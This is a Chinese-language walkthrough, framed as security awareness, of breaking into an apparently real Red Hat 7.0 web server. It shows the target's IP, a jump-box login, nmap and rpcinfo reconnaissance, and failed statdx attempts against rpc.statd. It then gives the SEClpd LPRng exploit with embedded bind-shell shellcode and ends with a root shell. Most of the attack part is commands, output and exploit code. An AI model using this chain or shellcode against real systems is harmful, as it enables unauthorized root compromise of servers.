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加強安全:看清黑客怎樣入侵linux

 此文的目的不在於教人入侵,而是為了提高自身的技術和加強網絡管理員的安全防范意識。僅此而已!粗心大意的網絡管理員應該明白:由於你們一個小小的操作失誤可能會導致整個網絡全面淪陷!本文主要是圍繞LPD:網絡打印服務的攻擊而進行的。

  首先確定目標,假設是:www.XXX.com

  先讓俺看看是不是連得上:

以下是引用片段:
 C:\ping www.XXX.com
  Pinging www.XXX.com[202.106.184.200] with 32 bytes of data:
  Reply from 202.106.184.200: bytes=32 time=541ms TTL=244
  Reply from 202.106.184.200: bytes=32 time=620ms TTL=244
  Reply from 202.106.184.200: bytes=32 time=651ms TTL=244
  Reply from 202.106.184.200: bytes=32 time=511ms TTL=244
  Ping statistics for 202.106.184.200:
  Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
  Approximate round trip times in milli-seconds:
  Minimum = 511ms, Maximum = 651ms, Average = 580ms
  嘻嘻—不但連得上,速度還不錯……
  先telnet看看banner:
        C:\>telnet www.XXX.com

 

   
    遺失對主機的連接。
  再試試ftp,

以下是引用片段:
C:\>ftp www.XXX.com
  Connected to www.fbi.gov.tw.
  220 XXX-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.
        User (www.XXX.com:(none)):

 

   
    wu-2.6.1看來有點眉目了。這台機器像是RedHat7.0!首先必須確認一下,連上俺的跳板:
以下是引用片段:
 C:\>telnet xxx.xxx.xxx.xxx
  Red Hat Linux release 7.0 (Guinness)
  Kernel 2.2.16-22smp on an i686
  login: fetdog
  Password:
        bash-2.04$

 

   
    拿nmap掃描器,看看其中的奧妙~~~
   
   
以下是引用片段:
 bash-2.04$nmap -sT -O www.XXX.com
  Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )
  WARNING! The following files exist and are readable: /usr/local/sha
  -services and ./nmap-services. I am choosing /usr/local/share/nmap/
  s for security reasons. set NMAPDIR=. to give priority to files in
  irectory
  Interesting ports on (www.XXX.com):
  (The 1520 ports scanned but not shown below are in state: closed)
  Port State Service
  25/tcp open smtp
  79/tcp open finger
  80/tcp open http
  111/tcp open sunrpc
  113/tcp open auth
  443/tcp open https
  513/tcp open login
  514/tcp open shell
  515/tcp open printer
  587/tcp open submission
  1024/tcp open kdm
  TCP Sequence Prediction: Class=random positive increments
  Difficulty=3247917 (Good luck!)
  Remote operating system guess: Linux 2.1.122 - 2.2.16
        Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds

 

   
    打開的端口還挺多,這意味著入侵的可能性增加。79/tcp open finger ,先看看這個,不過linux沒有finger用戶列表這個漏洞。
   
以下是引用片段:
 bash-2.04$finger @www.XXX.com
  [www.XXX.com]
        No one logged on.

 

   
    再看看111/tcp open sunrpc 。近來rpc漏洞風行,不知道RH7這個東東會不會有?先看看再說!
以下是引用片段:
 bash-2.04$rpcinfo -p www.XXX.com
  program vers proto port service
  100000 2 tcp 111 rpcbind
  100000 2 udp 111 rpcbind
  100021 1 udp 1024 nlockmgr
  100021 3 udp 1024 nlockmgr
  100024 1 udp 1025 status
        100024 1 tcp 1024 status

 

   
    看來有rpc.statd服務。來看看能不能遠程溢出拿個rootshell。
以下是引用片段:
 bash-2.04$./statdx -h
  statdx by ron1n
  Usage: stat [-t] [-p port] [-a addr] [-l len]
  [-o offset] [-w num] [-s secs] [-d type]
  -t attack a tcp dispatcher [udp]
  -p rpc.statd serves requests on [query]
  -a the stack address of the buffer is
  -l the length of the buffer is [1024]
  -o the offset to return to is [600]
  -w the number of dwords to wipe is [9]
  -s set timeout in seconds to [5]
  -d use a hardcoded
  Available types:
  0 Redhat 6.2 (nfs-utils-0.1.6-2)
  1 Redhat 6.1 (knfsd-1.4.7-7)
  2 Redhat 6.0 (knfsd-1.2.2-4)
  看來並不支持RH7。還是繼續嘗試,把0-2全部試試看再說!start……
  bash-2.04$stat -d 0 www.XXX.com
  buffer: 0xbffff314 length: 999 (+str/+nul)
  target: 0xbffff718 new: 0xbffff56c (offset: 600)
  wiping 9 dwords
  Failed - statd returned res_stat: (failure) state: 21
  受挫,再試……
  bash-2.04$stat -d 1 www.XXX.com
  buffer: 0xbffff314 length: 999 (+str/+nul)
  target: 0xbffff718 new: 0xbffff56c (offset: 600)
  wiping 9 dwords
  Failed - statd returned res_stat: (failure) state: 21


    
    一樣``繼續
   
以下是引用片段:
 bash-2.04$stat -d 1 www.XXX.com
  buffer: 0xbffff314 length: 999 (+str/+nul)
  target: 0xbffff718 new: 0xbffff56c (offset: 600)
  wiping 9 dwords
        Failed - statd returned res_stat: (failure) state: 21

 

   
    rpc.statd行不通,想想RH7應該有個遠程溢出,好像是lp服務造成的。“seclpd.c”應該是這個東東了。
  —————以下代碼僅供教學使用,決不能用來進行惡意攻擊—————

  

以下是引用片段:
 /*
  * Welcome to http://hlc.cnroot.com/
  * Run: ./SEClpd victim brute -t type
  * Try first ./SEClpd victim -t 0 then try the brute.
  */
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #define ADDRESS_BUFFER_SIZE 32+4
  #define APPEND_BUFFER_SIZE 52
  #define FORMAT_LENGTH 512-8
  #define NOPCOUNT 200
  #define SHELLCODE_COUNT 1030
  #define DELAY 50000 /* usecs */
  #define OFFSET_LIMIT 5000
  char shellcode[] =
  "\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
  "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
  "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
  "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
  "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
  "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
  "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
  "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
        "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";


    brute暴力破解。等上5-8分鐘左右,結果出來了。
   
   

以下是引用片段:
 - [+] shell located on www.XXX.com
  - [+] Enter Commands at will
  Linux XXX.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown
        uid=0(root) gid=7(lp)

 

   
    uid=0(root權限),現在可以近一步入侵!但不要做壞事!

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